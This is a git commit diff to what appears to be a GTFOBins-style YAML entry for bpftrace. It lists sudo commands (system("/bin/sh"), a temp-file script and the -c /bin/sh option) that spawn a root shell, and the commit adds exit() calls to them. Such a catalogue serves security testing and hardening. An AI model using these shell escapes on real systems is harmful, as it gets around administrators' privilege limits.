Improve bpftrace sudo shell

master
Andrea Cardaci 2020-01-03 14:11:37 +01:00
parent 6b4c7c12c9
commit 1f9dbbf6eb
1 changed files with 3 additions and 2 deletions

View File

@ -1,9 +1,10 @@
---
functions:
sudo:
- code: sudo bpftrace -e 'BEGIN {system("/bin/sh")}'
- code: sudo bpftrace -e 'BEGIN {system("/bin/sh");exit()}'
- code: |
TF=$(mktemp)
echo 'BEGIN {system("/bin/sh")}' >$TF
echo 'BEGIN {system("/bin/sh");exit()}' >$TF
sudo bpftrace $TF
- code: sudo bpftrace -c /bin/sh -e 'END {exit()}'
---